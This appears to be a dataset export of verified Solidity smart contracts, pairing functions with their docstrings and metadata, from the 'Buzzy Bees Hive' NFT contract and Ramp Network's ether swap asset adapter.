) internal virtual {}
| /**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/ | NatSpecMultiLine | v0.8.7+commit.e28d00a7 | None | ipfs://84e93e5764a57e0919fa584a5800574f4946763ffc2cacdecf9f69a7713b5ab3 | {
"func_code_index": [
13300,
13526
]
} | 8,811 |
Bee | contracts/Bee.sol | 0xbac7ca5103fb00b5a1f3a9fbbc26c3981afe3a75 | Solidity | Bee | contract Bee is ERC721Enumerable, Ownable{
using SafeMath for uint256;
string public DECK;
uint public constant MAX_BEES = 10000;
uint public constant MAX_AIRDROP = 630;
uint256 public constant BEE_PRICE = 50000000000000000; //0.05 ETH
uint256 public PREMINT_TIME;
uint256 public MINT_TIME;
uint256 public REVEAL_TIME;
uint256 public startingIndexBlock;
uint256 public startingIndex;
string public _baseTokenURI = "https://api.buzzybeeshive.com/api/";
bool public paused = false;
uint256 public winnerBAYC = MAX_BEES; //when setted will show the winner bee, a number between 0 and 9999
uint256 public airdropDone = 0;
//Roadmap
uint256 public timeToBuzzReached = MAX_BEES.mul(25).div(100);
uint256 public beesAreBullishReached = MAX_BEES.mul(75).div(100);
mapping(address => uint256) public whitelist;
mapping(uint => address) public bullsWinners;
constructor(uint256 _startDate) ERC721("Buzzy Bees Hive", "BEE"){
PREMINT_TIME = _startDate;
MINT_TIME = PREMINT_TIME.add(86400); // 1 day from premint
REVEAL_TIME = MINT_TIME.add(604800); // 1 week from public mint
}
modifier mintIsOpen{
if(msg.sender != owner()){
require(!paused, "Pause");
}
_;
}
function mintBee(uint amount) public payable mintIsOpen {
require(totalSupply().add(amount).add(MAX_AIRDROP).sub(airdropDone) <= MAX_BEES, "Mint would exceed max supply");
require(MINT_TIME <= block.timestamp, "Public mint is not open yet");
require(amount <= 10, "Only 10 at a time");
require(price(amount) <= msg.value, "Incorrect Ether value sent");
doMint(msg.sender, amount);
if (startingIndexBlock == 0 && (totalSupply() == MAX_BEES || block.timestamp >= REVEAL_TIME)) {
startingIndexBlock = block.number;
}
}
function premintBee(uint amount) public payable mintIsOpen {
require(whitelist[msg.sender]>=amount, "You must be on the whitelist");
require(totalSupply().add(amount).add(MAX_AIRDROP) <= MAX_BEES, "Mint would exceed max supply");
require(PREMINT_TIME <= block.timestamp, "Premint not available yet");
require(MINT_TIME > block.timestamp, "Public mint is open");
require(preMintPrice(amount) <= msg.value, "Incorrect Ether value sent");
doMint(msg.sender, amount);
whitelist[msg.sender] = whitelist[msg.sender].sub(amount);
}
function doMint(address to, uint amount) internal {
for(uint i = 0; i < amount; i++){
_safeMint(to, totalSupply());
}
}
function price(uint amount) public pure returns (uint256) {
return BEE_PRICE.mul(amount);
}
function preMintPrice(uint amount) public pure returns (uint256) {
return BEE_PRICE.sub(10000000000000000).mul(amount);
}
function setBaseURI(string memory baseURI) public onlyOwner {
_baseTokenURI = baseURI;
}
function flipState() public onlyOwner {
paused = !paused;
}
function withdraw() public payable onlyOwner {
require(payable(msg.sender).send(address(this).balance), "Something went wrong");
}
function fillWhiteList(address[] memory _users) public onlyOwner {
uint size = _users.length;
for(uint256 i = 0; i < size; i++){
address user = _users[i];
whitelist[user] = 3;
}
}
function timeToBuzz(uint amount) public onlyOwner{
require(totalSupply() >= timeToBuzzReached, "Not completed yed");
require(airdropDone.add(amount) <= MAX_AIRDROP, "Exceeds max airdrop");
uint winner;
for(uint256 i = 0; i < amount; i++){
winner = uint(keccak256(abi.encodePacked(i, block.number, block.difficulty, block.timestamp))) % timeToBuzzReached;
airdropDone = airdropDone.add(1);
doMint(ownerOf(winner), 1);
}
}
function beesAreBullish(uint[] memory bulls) public onlyOwner{
require(totalSupply() >= beesAreBullishReached, "Not finished");
uint winner;
for(uint256 i = 0; i < bulls.length; i++){
winner = uint(keccak256(abi.encodePacked(bulls[i], block.number, block.difficulty, block.timestamp))) % beesAreBullishReached;
bullsWinners[bulls[i]] = ownerOf(winner);
}
}
function apeShakesTheHive(string memory buzzyWord) public onlyOwner{
require(totalSupply() == MAX_BEES, "Not finished");
require(winnerBAYC == MAX_BEES, "Winner has been chosen");
winnerBAYC = uint(keccak256(abi.encodePacked(buzzyWord, block.number, block.difficulty, block.timestamp))) % MAX_BEES;
}
function setDeckHash(string memory deckHash) public onlyOwner {
require(MINT_TIME > block.timestamp, "This must be done before public mint");
DECK = deckHash;
}
function airdropMint(address to, uint amount) public onlyOwner {
require(totalSupply().add(amount).add(MAX_AIRDROP) <= MAX_BEES, "Mint would exceed max supply");
for(uint i = 0; i < amount; i++){
airdropDone = airdropDone.add(1);
_safeMint(to, totalSupply());
}
}
/**
* Set the starting index for the collection
*/
function setStartingIndex() public {
require(startingIndex == 0, "Starting index is already set");
require(startingIndexBlock != 0, "Starting index block must be set");
startingIndex = uint(blockhash(startingIndexBlock)) % MAX_BEES;
// Just a sanity case in the worst case if this function is called late (EVM only stores last 256 block hashes)
if (block.number.sub(startingIndexBlock) > 255) {
startingIndex = uint(blockhash(block.number - 1)) % MAX_BEES;
}
// Prevent default sequence
if (startingIndex == 0) {
startingIndex = startingIndex.add(1);
}
}
/**
* Set the starting index block for the collection manually
*/
function setStartingIndexBlock() public onlyOwner {
require(startingIndex == 0, "Starting index is already set");
startingIndexBlock = block.number;
}
/**
* Just in case we want to update to earlier dates
*/
function updateDates(uint256 newDate) public onlyOwner {
require(newDate > block.timestamp, "Time travel not allowed");
require(newDate < PREMINT_TIME, "Must be earlier");
PREMINT_TIME = newDate;
MINT_TIME = PREMINT_TIME.add(86400); // 1 day from premint
REVEAL_TIME = MINT_TIME.add(604800); // 1 week from public mint
}
} | setStartingIndex | function setStartingIndex() public {
require(startingIndex == 0, "Starting index is already set");
require(startingIndexBlock != 0, "Starting index block must be set");
startingIndex = uint(blockhash(startingIndexBlock)) % MAX_BEES;
// Just a sanity case in the worst case if this function is called late (EVM only stores last 256 block hashes)
if (block.number.sub(startingIndexBlock) > 255) {
startingIndex = uint(blockhash(block.number - 1)) % MAX_BEES;
}
// Prevent default sequence
if (startingIndex == 0) {
startingIndex = startingIndex.add(1);
}
}
| /**
* Set the starting index for the collection
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | {
"func_code_index": [
5474,
6145
]
} | 8,812 |
||||
Bee | contracts/Bee.sol | 0xbac7ca5103fb00b5a1f3a9fbbc26c3981afe3a75 | Solidity | Bee | contract Bee is ERC721Enumerable, Ownable{
using SafeMath for uint256;
string public DECK;
uint public constant MAX_BEES = 10000;
uint public constant MAX_AIRDROP = 630;
uint256 public constant BEE_PRICE = 50000000000000000; //0.05 ETH
uint256 public PREMINT_TIME;
uint256 public MINT_TIME;
uint256 public REVEAL_TIME;
uint256 public startingIndexBlock;
uint256 public startingIndex;
string public _baseTokenURI = "https://api.buzzybeeshive.com/api/";
bool public paused = false;
uint256 public winnerBAYC = MAX_BEES; //when setted will show the winner bee, a number between 0 and 9999
uint256 public airdropDone = 0;
//Roadmap
uint256 public timeToBuzzReached = MAX_BEES.mul(25).div(100);
uint256 public beesAreBullishReached = MAX_BEES.mul(75).div(100);
mapping(address => uint256) public whitelist;
mapping(uint => address) public bullsWinners;
constructor(uint256 _startDate) ERC721("Buzzy Bees Hive", "BEE"){
PREMINT_TIME = _startDate;
MINT_TIME = PREMINT_TIME.add(86400); // 1 day from premint
REVEAL_TIME = MINT_TIME.add(604800); // 1 week from public mint
}
modifier mintIsOpen{
if(msg.sender != owner()){
require(!paused, "Pause");
}
_;
}
function mintBee(uint amount) public payable mintIsOpen {
require(totalSupply().add(amount).add(MAX_AIRDROP).sub(airdropDone) <= MAX_BEES, "Mint would exceed max supply");
require(MINT_TIME <= block.timestamp, "Public mint is not open yet");
require(amount <= 10, "Only 10 at a time");
require(price(amount) <= msg.value, "Incorrect Ether value sent");
doMint(msg.sender, amount);
if (startingIndexBlock == 0 && (totalSupply() == MAX_BEES || block.timestamp >= REVEAL_TIME)) {
startingIndexBlock = block.number;
}
}
function premintBee(uint amount) public payable mintIsOpen {
require(whitelist[msg.sender]>=amount, "You must be on the whitelist");
require(totalSupply().add(amount).add(MAX_AIRDROP) <= MAX_BEES, "Mint would exceed max supply");
require(PREMINT_TIME <= block.timestamp, "Premint not available yet");
require(MINT_TIME > block.timestamp, "Public mint is open");
require(preMintPrice(amount) <= msg.value, "Incorrect Ether value sent");
doMint(msg.sender, amount);
whitelist[msg.sender] = whitelist[msg.sender].sub(amount);
}
function doMint(address to, uint amount) internal {
for(uint i = 0; i < amount; i++){
_safeMint(to, totalSupply());
}
}
function price(uint amount) public pure returns (uint256) {
return BEE_PRICE.mul(amount);
}
function preMintPrice(uint amount) public pure returns (uint256) {
return BEE_PRICE.sub(10000000000000000).mul(amount);
}
function setBaseURI(string memory baseURI) public onlyOwner {
_baseTokenURI = baseURI;
}
function flipState() public onlyOwner {
paused = !paused;
}
function withdraw() public payable onlyOwner {
require(payable(msg.sender).send(address(this).balance), "Something went wrong");
}
function fillWhiteList(address[] memory _users) public onlyOwner {
uint size = _users.length;
for(uint256 i = 0; i < size; i++){
address user = _users[i];
whitelist[user] = 3;
}
}
function timeToBuzz(uint amount) public onlyOwner{
require(totalSupply() >= timeToBuzzReached, "Not completed yed");
require(airdropDone.add(amount) <= MAX_AIRDROP, "Exceeds max airdrop");
uint winner;
for(uint256 i = 0; i < amount; i++){
winner = uint(keccak256(abi.encodePacked(i, block.number, block.difficulty, block.timestamp))) % timeToBuzzReached;
airdropDone = airdropDone.add(1);
doMint(ownerOf(winner), 1);
}
}
function beesAreBullish(uint[] memory bulls) public onlyOwner{
require(totalSupply() >= beesAreBullishReached, "Not finished");
uint winner;
for(uint256 i = 0; i < bulls.length; i++){
winner = uint(keccak256(abi.encodePacked(bulls[i], block.number, block.difficulty, block.timestamp))) % beesAreBullishReached;
bullsWinners[bulls[i]] = ownerOf(winner);
}
}
function apeShakesTheHive(string memory buzzyWord) public onlyOwner{
require(totalSupply() == MAX_BEES, "Not finished");
require(winnerBAYC == MAX_BEES, "Winner has been chosen");
winnerBAYC = uint(keccak256(abi.encodePacked(buzzyWord, block.number, block.difficulty, block.timestamp))) % MAX_BEES;
}
function setDeckHash(string memory deckHash) public onlyOwner {
require(MINT_TIME > block.timestamp, "This must be done before public mint");
DECK = deckHash;
}
function airdropMint(address to, uint amount) public onlyOwner {
require(totalSupply().add(amount).add(MAX_AIRDROP) <= MAX_BEES, "Mint would exceed max supply");
for(uint i = 0; i < amount; i++){
airdropDone = airdropDone.add(1);
_safeMint(to, totalSupply());
}
}
/**
* Set the starting index for the collection
*/
function setStartingIndex() public {
require(startingIndex == 0, "Starting index is already set");
require(startingIndexBlock != 0, "Starting index block must be set");
startingIndex = uint(blockhash(startingIndexBlock)) % MAX_BEES;
// Just a sanity case in the worst case if this function is called late (EVM only stores last 256 block hashes)
if (block.number.sub(startingIndexBlock) > 255) {
startingIndex = uint(blockhash(block.number - 1)) % MAX_BEES;
}
// Prevent default sequence
if (startingIndex == 0) {
startingIndex = startingIndex.add(1);
}
}
/**
* Set the starting index block for the collection manually
*/
function setStartingIndexBlock() public onlyOwner {
require(startingIndex == 0, "Starting index is already set");
startingIndexBlock = block.number;
}
/**
* Just in case we want to update to earlier dates
*/
function updateDates(uint256 newDate) public onlyOwner {
require(newDate > block.timestamp, "Time travel not allowed");
require(newDate < PREMINT_TIME, "Must be earlier");
PREMINT_TIME = newDate;
MINT_TIME = PREMINT_TIME.add(86400); // 1 day from premint
REVEAL_TIME = MINT_TIME.add(604800); // 1 week from public mint
}
} | setStartingIndexBlock | function setStartingIndexBlock() public onlyOwner {
require(startingIndex == 0, "Starting index is already set");
startingIndexBlock = block.number;
}
| /**
* Set the starting index block for the collection manually
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | {
"func_code_index": [
6228,
6411
]
} | 8,813 |
||||
Bee | contracts/Bee.sol | 0xbac7ca5103fb00b5a1f3a9fbbc26c3981afe3a75 | Solidity | Bee | contract Bee is ERC721Enumerable, Ownable{
using SafeMath for uint256;
string public DECK;
uint public constant MAX_BEES = 10000;
uint public constant MAX_AIRDROP = 630;
uint256 public constant BEE_PRICE = 50000000000000000; //0.05 ETH
uint256 public PREMINT_TIME;
uint256 public MINT_TIME;
uint256 public REVEAL_TIME;
uint256 public startingIndexBlock;
uint256 public startingIndex;
string public _baseTokenURI = "https://api.buzzybeeshive.com/api/";
bool public paused = false;
uint256 public winnerBAYC = MAX_BEES; //when setted will show the winner bee, a number between 0 and 9999
uint256 public airdropDone = 0;
//Roadmap
uint256 public timeToBuzzReached = MAX_BEES.mul(25).div(100);
uint256 public beesAreBullishReached = MAX_BEES.mul(75).div(100);
mapping(address => uint256) public whitelist;
mapping(uint => address) public bullsWinners;
constructor(uint256 _startDate) ERC721("Buzzy Bees Hive", "BEE"){
PREMINT_TIME = _startDate;
MINT_TIME = PREMINT_TIME.add(86400); // 1 day from premint
REVEAL_TIME = MINT_TIME.add(604800); // 1 week from public mint
}
modifier mintIsOpen{
if(msg.sender != owner()){
require(!paused, "Pause");
}
_;
}
function mintBee(uint amount) public payable mintIsOpen {
require(totalSupply().add(amount).add(MAX_AIRDROP).sub(airdropDone) <= MAX_BEES, "Mint would exceed max supply");
require(MINT_TIME <= block.timestamp, "Public mint is not open yet");
require(amount <= 10, "Only 10 at a time");
require(price(amount) <= msg.value, "Incorrect Ether value sent");
doMint(msg.sender, amount);
if (startingIndexBlock == 0 && (totalSupply() == MAX_BEES || block.timestamp >= REVEAL_TIME)) {
startingIndexBlock = block.number;
}
}
function premintBee(uint amount) public payable mintIsOpen {
require(whitelist[msg.sender]>=amount, "You must be on the whitelist");
require(totalSupply().add(amount).add(MAX_AIRDROP) <= MAX_BEES, "Mint would exceed max supply");
require(PREMINT_TIME <= block.timestamp, "Premint not available yet");
require(MINT_TIME > block.timestamp, "Public mint is open");
require(preMintPrice(amount) <= msg.value, "Incorrect Ether value sent");
doMint(msg.sender, amount);
whitelist[msg.sender] = whitelist[msg.sender].sub(amount);
}
function doMint(address to, uint amount) internal {
for(uint i = 0; i < amount; i++){
_safeMint(to, totalSupply());
}
}
function price(uint amount) public pure returns (uint256) {
return BEE_PRICE.mul(amount);
}
function preMintPrice(uint amount) public pure returns (uint256) {
return BEE_PRICE.sub(10000000000000000).mul(amount);
}
function setBaseURI(string memory baseURI) public onlyOwner {
_baseTokenURI = baseURI;
}
function flipState() public onlyOwner {
paused = !paused;
}
function withdraw() public payable onlyOwner {
require(payable(msg.sender).send(address(this).balance), "Something went wrong");
}
function fillWhiteList(address[] memory _users) public onlyOwner {
uint size = _users.length;
for(uint256 i = 0; i < size; i++){
address user = _users[i];
whitelist[user] = 3;
}
}
function timeToBuzz(uint amount) public onlyOwner{
require(totalSupply() >= timeToBuzzReached, "Not completed yed");
require(airdropDone.add(amount) <= MAX_AIRDROP, "Exceeds max airdrop");
uint winner;
for(uint256 i = 0; i < amount; i++){
winner = uint(keccak256(abi.encodePacked(i, block.number, block.difficulty, block.timestamp))) % timeToBuzzReached;
airdropDone = airdropDone.add(1);
doMint(ownerOf(winner), 1);
}
}
function beesAreBullish(uint[] memory bulls) public onlyOwner{
require(totalSupply() >= beesAreBullishReached, "Not finished");
uint winner;
for(uint256 i = 0; i < bulls.length; i++){
winner = uint(keccak256(abi.encodePacked(bulls[i], block.number, block.difficulty, block.timestamp))) % beesAreBullishReached;
bullsWinners[bulls[i]] = ownerOf(winner);
}
}
function apeShakesTheHive(string memory buzzyWord) public onlyOwner{
require(totalSupply() == MAX_BEES, "Not finished");
require(winnerBAYC == MAX_BEES, "Winner has been chosen");
winnerBAYC = uint(keccak256(abi.encodePacked(buzzyWord, block.number, block.difficulty, block.timestamp))) % MAX_BEES;
}
function setDeckHash(string memory deckHash) public onlyOwner {
require(MINT_TIME > block.timestamp, "This must be done before public mint");
DECK = deckHash;
}
function airdropMint(address to, uint amount) public onlyOwner {
require(totalSupply().add(amount).add(MAX_AIRDROP) <= MAX_BEES, "Mint would exceed max supply");
for(uint i = 0; i < amount; i++){
airdropDone = airdropDone.add(1);
_safeMint(to, totalSupply());
}
}
/**
* Set the starting index for the collection
*/
function setStartingIndex() public {
require(startingIndex == 0, "Starting index is already set");
require(startingIndexBlock != 0, "Starting index block must be set");
startingIndex = uint(blockhash(startingIndexBlock)) % MAX_BEES;
// Just a sanity case in the worst case if this function is called late (EVM only stores last 256 block hashes)
if (block.number.sub(startingIndexBlock) > 255) {
startingIndex = uint(blockhash(block.number - 1)) % MAX_BEES;
}
// Prevent default sequence
if (startingIndex == 0) {
startingIndex = startingIndex.add(1);
}
}
/**
* Set the starting index block for the collection manually
*/
function setStartingIndexBlock() public onlyOwner {
require(startingIndex == 0, "Starting index is already set");
startingIndexBlock = block.number;
}
/**
* Just in case we want to update to earlier dates
*/
function updateDates(uint256 newDate) public onlyOwner {
require(newDate > block.timestamp, "Time travel not allowed");
require(newDate < PREMINT_TIME, "Must be earlier");
PREMINT_TIME = newDate;
MINT_TIME = PREMINT_TIME.add(86400); // 1 day from premint
REVEAL_TIME = MINT_TIME.add(604800); // 1 week from public mint
}
} | updateDates | function updateDates(uint256 newDate) public onlyOwner {
require(newDate > block.timestamp, "Time travel not allowed");
require(newDate < PREMINT_TIME, "Must be earlier");
PREMINT_TIME = newDate;
MINT_TIME = PREMINT_TIME.add(86400); // 1 day from premint
REVEAL_TIME = MINT_TIME.add(604800); // 1 week from public mint
}
| /**
* Just in case we want to update to earlier dates
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | {
"func_code_index": [
6485,
6879
]
} | 8,814 |
||||
EthRampSwaps | EthRampSwaps.sol | 0x5f1a08554f0dc0cf79852c564a10981ffbd7c8af | Solidity | AssetAdapter | contract AssetAdapter {
uint16 public ASSET_TYPE;
bytes32 internal EIP712_SWAP_TYPEHASH;
bytes32 internal EIP712_ASSET_TYPEHASH;
constructor(
uint16 assetType,
bytes32 swapTypehash,
bytes32 assetTypehash
) internal {
ASSET_TYPE = assetType;
EIP712_SWAP_TYPEHASH = swapTypehash;
EIP712_ASSET_TYPEHASH = assetTypehash;
}
/**
* Ensure the described asset is sent to the given address.
* Should revert if the transfer failed, but callers must also handle `false` being returned,
* much like ERC20's `transfer`.
*/
function sendAssetTo(bytes memory assetData, address payable _to) internal returns (bool success);
/**
* Ensure the described asset is sent to the contract (check `msg.value` for ether,
* do a `transferFrom` for tokens, etc).
* Should revert if the transfer failed, but callers must also handle `false` being returned,
* much like ERC20's `transfer`.
*
* @dev subclasses that don't use ether should mark this with the `noEther` modifier, to make
* sure no ether is sent -- because, to have one consistent interface, the `create` function
* in `AbstractRampSwaps` is marked `payable`.
*/
function lockAssetFrom(bytes memory assetData, address _from) internal returns (bool success);
/**
* Returns the EIP712 hash of the handled asset data struct.
* See `getAssetTypedHash` in the subclasses for asset struct type description.
*/
function getAssetTypedHash(bytes memory data) internal view returns (bytes32);
/**
* Verify that the passed asset data should be handled by this adapter.
*
* @dev it's sufficient to use this only when creating a new swap -- all the other swap
* functions first check if the swap hash is valid, while a swap hash with invalid
* asset type wouldn't be created at all.
*
* @dev asset type is 2 bytes long, and it's at offset 32 in `assetData`'s memory (the first 32
* bytes are the data length). We load the word at offset 2 (it ends with the asset type bytes),
* and retrieve its last 2 bytes into a `uint16` variable.
*/
modifier checkAssetType(bytes memory assetData) {
uint16 assetType;
// solium-disable-next-line security/no-inline-assembly
assembly {
assetType := and(
mload(add(assetData, 2)),
0xffff
)
}
require(assetType == ASSET_TYPE, "invalid asset type");
_;
}
modifier noEther() {
require(msg.value == 0, "this asset doesn't accept ether");
_;
}
} | /**
* Abstract class for an asset adapter -- a class handling the binary asset description,
* encapsulating the asset-specific transfer logic.
* The `assetData` bytes consist of a 2-byte (uint16) asset type, followed by asset-specific data.
* The asset type bytes must be equal to the `ASSET_TYPE` constant in each subclass.
*
* @dev Subclasses of this class are used as mixins to their respective main swap contract.
*
* @author Ramp Network sp. z o.o.
*/ | NatSpecMultiLine | sendAssetTo | function sendAssetTo(bytes memory assetData, address payable _to) internal returns (bool success);
| /**
* Ensure the described asset is sent to the given address.
* Should revert if the transfer failed, but callers must also handle `false` being returned,
* much like ERC20's `transfer`.
*/ | NatSpecMultiLine | v0.5.3+commit.10d17f24 | bzzr://d60f7c96691c0355a0f4914b706eeb0282cc54115a30bb41824d7940071e939e | {
"func_code_index": [
630,
733
]
} | 8,815 |
|
EthRampSwaps | EthRampSwaps.sol | 0x5f1a08554f0dc0cf79852c564a10981ffbd7c8af | Solidity | AssetAdapter | contract AssetAdapter {
uint16 public ASSET_TYPE;
bytes32 internal EIP712_SWAP_TYPEHASH;
bytes32 internal EIP712_ASSET_TYPEHASH;
constructor(
uint16 assetType,
bytes32 swapTypehash,
bytes32 assetTypehash
) internal {
ASSET_TYPE = assetType;
EIP712_SWAP_TYPEHASH = swapTypehash;
EIP712_ASSET_TYPEHASH = assetTypehash;
}
/**
* Ensure the described asset is sent to the given address.
* Should revert if the transfer failed, but callers must also handle `false` being returned,
* much like ERC20's `transfer`.
*/
function sendAssetTo(bytes memory assetData, address payable _to) internal returns (bool success);
/**
* Ensure the described asset is sent to the contract (check `msg.value` for ether,
* do a `transferFrom` for tokens, etc).
* Should revert if the transfer failed, but callers must also handle `false` being returned,
* much like ERC20's `transfer`.
*
* @dev subclasses that don't use ether should mark this with the `noEther` modifier, to make
* sure no ether is sent -- because, to have one consistent interface, the `create` function
* in `AbstractRampSwaps` is marked `payable`.
*/
function lockAssetFrom(bytes memory assetData, address _from) internal returns (bool success);
/**
* Returns the EIP712 hash of the handled asset data struct.
* See `getAssetTypedHash` in the subclasses for asset struct type description.
*/
function getAssetTypedHash(bytes memory data) internal view returns (bytes32);
/**
* Verify that the passed asset data should be handled by this adapter.
*
* @dev it's sufficient to use this only when creating a new swap -- all the other swap
* functions first check if the swap hash is valid, while a swap hash with invalid
* asset type wouldn't be created at all.
*
* @dev asset type is 2 bytes long, and it's at offset 32 in `assetData`'s memory (the first 32
* bytes are the data length). We load the word at offset 2 (it ends with the asset type bytes),
* and retrieve its last 2 bytes into a `uint16` variable.
*/
modifier checkAssetType(bytes memory assetData) {
uint16 assetType;
// solium-disable-next-line security/no-inline-assembly
assembly {
assetType := and(
mload(add(assetData, 2)),
0xffff
)
}
require(assetType == ASSET_TYPE, "invalid asset type");
_;
}
modifier noEther() {
require(msg.value == 0, "this asset doesn't accept ether");
_;
}
} | /**
* Abstract class for an asset adapter -- a class handling the binary asset description,
* encapsulating the asset-specific transfer logic.
* The `assetData` bytes consist of a 2-byte (uint16) asset type, followed by asset-specific data.
* The asset type bytes must be equal to the `ASSET_TYPE` constant in each subclass.
*
* @dev Subclasses of this class are used as mixins to their respective main swap contract.
*
* @author Ramp Network sp. z o.o.
*/ | NatSpecMultiLine | lockAssetFrom | function lockAssetFrom(bytes memory assetData, address _from) internal returns (bool success);
| /**
* Ensure the described asset is sent to the contract (check `msg.value` for ether,
* do a `transferFrom` for tokens, etc).
* Should revert if the transfer failed, but callers must also handle `false` being returned,
* much like ERC20's `transfer`.
*
* @dev subclasses that don't use ether should mark this with the `noEther` modifier, to make
* sure no ether is sent -- because, to have one consistent interface, the `create` function
* in `AbstractRampSwaps` is marked `payable`.
*/ | NatSpecMultiLine | v0.5.3+commit.10d17f24 | bzzr://d60f7c96691c0355a0f4914b706eeb0282cc54115a30bb41824d7940071e939e | {
"func_code_index": [
1283,
1382
]
} | 8,816 |
|
EthRampSwaps | EthRampSwaps.sol | 0x5f1a08554f0dc0cf79852c564a10981ffbd7c8af | Solidity | AssetAdapter | contract AssetAdapter {
uint16 public ASSET_TYPE;
bytes32 internal EIP712_SWAP_TYPEHASH;
bytes32 internal EIP712_ASSET_TYPEHASH;
constructor(
uint16 assetType,
bytes32 swapTypehash,
bytes32 assetTypehash
) internal {
ASSET_TYPE = assetType;
EIP712_SWAP_TYPEHASH = swapTypehash;
EIP712_ASSET_TYPEHASH = assetTypehash;
}
/**
* Ensure the described asset is sent to the given address.
* Should revert if the transfer failed, but callers must also handle `false` being returned,
* much like ERC20's `transfer`.
*/
function sendAssetTo(bytes memory assetData, address payable _to) internal returns (bool success);
/**
* Ensure the described asset is sent to the contract (check `msg.value` for ether,
* do a `transferFrom` for tokens, etc).
* Should revert if the transfer failed, but callers must also handle `false` being returned,
* much like ERC20's `transfer`.
*
* @dev subclasses that don't use ether should mark this with the `noEther` modifier, to make
* sure no ether is sent -- because, to have one consistent interface, the `create` function
* in `AbstractRampSwaps` is marked `payable`.
*/
function lockAssetFrom(bytes memory assetData, address _from) internal returns (bool success);
/**
* Returns the EIP712 hash of the handled asset data struct.
* See `getAssetTypedHash` in the subclasses for asset struct type description.
*/
function getAssetTypedHash(bytes memory data) internal view returns (bytes32);
/**
* Verify that the passed asset data should be handled by this adapter.
*
* @dev it's sufficient to use this only when creating a new swap -- all the other swap
* functions first check if the swap hash is valid, while a swap hash with invalid
* asset type wouldn't be created at all.
*
* @dev asset type is 2 bytes long, and it's at offset 32 in `assetData`'s memory (the first 32
* bytes are the data length). We load the word at offset 2 (it ends with the asset type bytes),
* and retrieve its last 2 bytes into a `uint16` variable.
*/
modifier checkAssetType(bytes memory assetData) {
uint16 assetType;
// solium-disable-next-line security/no-inline-assembly
assembly {
assetType := and(
mload(add(assetData, 2)),
0xffff
)
}
require(assetType == ASSET_TYPE, "invalid asset type");
_;
}
modifier noEther() {
require(msg.value == 0, "this asset doesn't accept ether");
_;
}
} | /**
* Abstract class for an asset adapter -- a class handling the binary asset description,
* encapsulating the asset-specific transfer logic.
* The `assetData` bytes consist of a 2-byte (uint16) asset type, followed by asset-specific data.
* The asset type bytes must be equal to the `ASSET_TYPE` constant in each subclass.
*
* @dev Subclasses of this class are used as mixins to their respective main swap contract.
*
* @author Ramp Network sp. z o.o.
*/ | NatSpecMultiLine | getAssetTypedHash | function getAssetTypedHash(bytes memory data) internal view returns (bytes32);
| /**
* Returns the EIP712 hash of the handled asset data struct.
* See `getAssetTypedHash` in the subclasses for asset struct type description.
*/ | NatSpecMultiLine | v0.5.3+commit.10d17f24 | bzzr://d60f7c96691c0355a0f4914b706eeb0282cc54115a30bb41824d7940071e939e | {
"func_code_index": [
1554,
1637
]
} | 8,817 |
|
EthRampSwaps | EthRampSwaps.sol | 0x5f1a08554f0dc0cf79852c564a10981ffbd7c8af | Solidity | EthAdapter | contract EthAdapter is AssetAdapter {
uint16 internal constant ETH_TYPE_ID = 1;
// the hashes are generated using `genTypeHashes` from `eip712.swaps`
constructor() internal AssetAdapter(
ETH_TYPE_ID,
0x3f5e83ffc9f619035e6bbc5b772db010a6ea49213f31e8a5d137b6cebf8d19c7,
0x4edc3bd27f6cb13e1f0e97fa9dd936fa2dc988debb1378354f49e2bb59be435e
) {}
/**
* @dev byte offsets, byte length & contents for ether asset data:
* +00 32 uint256 data length (== 0x22 == 34 bytes)
* +32 2 uint16 asset type (== 1)
* +34 32 uint256 ether amount in wei
*/
function getAmount(bytes memory assetData) internal pure returns (uint256 amount) {
// solium-disable-next-line security/no-inline-assembly
assembly {
amount := mload(add(assetData, 34))
}
}
function sendAssetTo(
bytes memory assetData, address payable _to
) internal returns (bool success) {
_to.transfer(getAmount(assetData)); // always throws on failure
return true;
}
function lockAssetFrom(
bytes memory assetData, address _from
) internal returns (bool success) {
require(msg.sender == _from, "invalid ether sender");
require(msg.value == getAmount(assetData), "invalid ether amount sent");
return true;
}
/**
* Returns the EIP712 hash of the eth asset data struct:
* EIP712EthAsset {
* ethAmount: uint256;
* }
*/
function getAssetTypedHash(bytes memory data) internal view returns (bytes32) {
return keccak256(
abi.encode(
EIP712_ASSET_TYPEHASH,
getAmount(data)
)
);
}
} | /**
* An adapter for handling ether swaps.
*
* @author Ramp Network sp. z o.o.
*/ | NatSpecMultiLine | getAmount | function getAmount(bytes memory assetData) internal pure returns (uint256 amount) {
// solium-disable-next-line security/no-inline-assembly
assembly {
amount := mload(add(assetData, 34))
}
}
| /**
* @dev byte offsets, byte length & contents for ether asset data:
* +00 32 uint256 data length (== 0x22 == 34 bytes)
* +32 2 uint16 asset type (== 1)
* +34 32 uint256 ether amount in wei
*/ | NatSpecMultiLine | v0.5.3+commit.10d17f24 | bzzr://d60f7c96691c0355a0f4914b706eeb0282cc54115a30bb41824d7940071e939e | {
"func_code_index": [
630,
870
]
} | 8,818 |
|
EthRampSwaps | EthRampSwaps.sol | 0x5f1a08554f0dc0cf79852c564a10981ffbd7c8af | Solidity | EthAdapter | contract EthAdapter is AssetAdapter {
uint16 internal constant ETH_TYPE_ID = 1;
// the hashes are generated using `genTypeHashes` from `eip712.swaps`
constructor() internal AssetAdapter(
ETH_TYPE_ID,
0x3f5e83ffc9f619035e6bbc5b772db010a6ea49213f31e8a5d137b6cebf8d19c7,
0x4edc3bd27f6cb13e1f0e97fa9dd936fa2dc988debb1378354f49e2bb59be435e
) {}
/**
* @dev byte offsets, byte length & contents for ether asset data:
* +00 32 uint256 data length (== 0x22 == 34 bytes)
* +32 2 uint16 asset type (== 1)
* +34 32 uint256 ether amount in wei
*/
function getAmount(bytes memory assetData) internal pure returns (uint256 amount) {
// solium-disable-next-line security/no-inline-assembly
assembly {
amount := mload(add(assetData, 34))
